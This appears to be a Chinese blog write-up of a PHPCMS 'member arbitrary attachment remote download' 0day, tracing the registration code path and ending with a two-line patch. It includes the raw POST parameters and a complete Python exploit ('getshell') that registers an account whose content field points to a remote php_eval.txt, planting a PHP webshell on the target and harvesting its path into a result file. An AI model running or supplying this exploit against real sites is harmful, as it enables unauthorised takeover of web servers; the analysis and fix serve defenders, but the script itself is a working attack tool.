phpcms现在还没有命名叫啥漏洞,因为是通过会员注册杀进视频模型的附件下载流程,所以就写PHPCMS 会员任意附件远程下载0day分析了,利用exp如下:
dosubmit=1&modelid=11&username=hacker&password=hacker&email=hacker@test.com&info[content]=将上面参数发post请求到 /index.php?m=member&c=index&a=register&siteid=1

首先根据phpcms框架结构找到对应的处理入口文件,
会员入口:/index.php?m=member&c=index&a=register&siteid=1
找到phpcms框架对应的处理文件:\phpcms\phpcms\modules\member\index.php
第33行处理方法:register()
PHPCMS 会员任意附件远程下载0day分析_第1张图片
进入处理函数后,需要 设置 dosubmit 为真,走这里的验证流程:
PHPCMS 会员任意附件远程下载0day分析_第2张图片
这里可以看到用户名username、密码password、邮箱email是 必须填的(email为何判断了2次? Phpcms的bug?)
PHPCMS 会员任意附件远程下载0day分析_第3张图片
单纯这个流程是没有漏洞,漏洞需要结合视频附件处理流程,
Phpcms默认安装有四个模型,分别是文章,下载,图片,视频模块,也可以自己创建模型, modelid=11就是视频模型,具体看
\phpcms\caches\caches_commons\caches_data\ model.cache.php 文件便可看到缓存的模型
PHPCMS 会员任意附件远程下载0day分析_第4张图片
需要把值设为11,所以上面post的参数变为了
dosubmit=1& modelid=11&username=hacker& [email protected]
下面有个 //附表信息验证 通过模型获取会员信息,问题就在这里了,获取视频模型的信息,
PHPCMS 会员任意附件远程下载0day分析_第5张图片
new_html_special_chars转义函数在 \phpcms\libs\functions\global.func.php 的第37行里:
PHPCMS 会员任意附件远程下载0day分析_第6张图片
可以看到这里把值或数组的键值转义了,继续看上面流程,
$member_input->get($_POST['info']); //模型输入处理
先要看创建的类库
$member_input = new member_input($userinfo['modelid']); //创建模型输入类
找下member_input类在文件
\phpcms\caches\caches_model\caches_data\ member_input.class.php 文件中
在类中找到get方法,这个方法是获取模型数据的
PHPCMS 会员任意附件远程下载0day分析_第7张图片
在模型类中fields是一个强大的多维数组、打印出来看下
PHPCMS 会员任意附件远程下载0day分析_第8张图片
类中有个 editor 成员函数是做下载用的
PHPCMS 会员任意附件远程下载0day分析_第9张图片
断掉调试下,走视频模型时,fields的content[‘formtype’]的值为 editor ,下面代码是检测 当前类中是否存在 $fun()方法,如果存在则 传参执行这个方法 返回给 $value
PHPCMS 会员任意附件远程下载0day分析_第10张图片
继续跟 $value = $this->$func($field, $value)
也就是可以触发到成员函数 editor,再回到editor
PHPCMS 会员任意附件远程下载0day分析_第11张图片
这里有下载功能,继续找这个下载函数,发现在构造函数中,是一个附件类
PHPCMS 会员任意附件远程下载0day分析_第12张图片
附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法,重点在第二个参数,也就是传入的下载地址
PHPCMS 会员任意附件远程下载0day分析_第13张图片
在download 中设置上传目录,然后通过正则取出要下载的url,之后处理数组的过程中会遇到一个 fillurl,补全url的成员函数

PHPCMS 会员任意附件远程下载0day分析_第14张图片
PHPCMS 会员任意附件远程下载0day分析_第15张图片
Fillurl是支持的下载协议,继续看下面的流程,下面流程取得 附件的扩展名作为生成的文件名,因为下载的可能是 rar、zip或者其他的,这里没有验证php扩展名,而且当在下载url加入?后面的相当于被截断了,但是可以绕过扩展名的判断。
PHPCMS 会员任意附件远程下载0day分析_第16张图片
然后需要回显,不然文件下载到服务器了,也不知道文件路径的;
恰巧在插入时会报错显示出路径信息:
\phpcms\caches\caches_model\caches_data\member_input.class.php 文件中
$info[$field] = $value;
PHPCMS 会员任意附件远程下载0day分析_第17张图片
各种姿势加起来组合出来强大的漏洞! exp 看下面:

#!/usr/bin/env python
#coding:utf-8
import sys,requests,random
def getshell(target):
vuln_url = target + "/index.php?m=member&c=index&a=register&siteid=1"
strstr = str(random.randint(0,999))
data = {
"dosubmit":1,
"modelid":11,
"username":"hacker" + strstr,
"password":"hacker" + strstr,
"email":strstr + "[email protected]",
"info[content]":"<img src=http://*****.com/tools/php_eval.txt?.php#.jpg"
}
try:
response = requests.post(url = vuln_url,data = data,timeout=5)
data_str = response.content
except:
data_str = ""
vul_url = data_str[data_str.find("src=http"):(data_str.find("src=http")+len(target)+67)]
print data_str
if vul_url:
with open("result.txt","a+") as f:
f.write(vul_url+"\n")
print vuln_url+"\n"+vul_url+"\n\n"
else:
print u"no vul"
getshell("http://127.0.0.1/phpcms/")

修复漏洞:
这个是下载官网最新版测试的,貌似到现在还没修复呢,一堆代码逻辑在里头,对于非常熟悉的人,还可能间接找出类似问题,看别人说修复方式可以把uploadfile目录设置为不可执行权限,也可以通过上面的分析找到远程下载附件函数对生成的文件名做下判断再决定是否下载。好人做到底吧。
临时代码修复,等官网出了后,这个就淘汰了;
在附件类文件 \phpcms\phpcms\libs\classes\attacment.class.php 中找到了 download 方法找到下面这行代码
$filename = $this->getname($filename); 在这行代码下面增加2行代码,判断下生成文件的格式:

$file_verify = explode('.', $filename);
if ($file_verify[1] === "php") die('Extension not supported PHP!');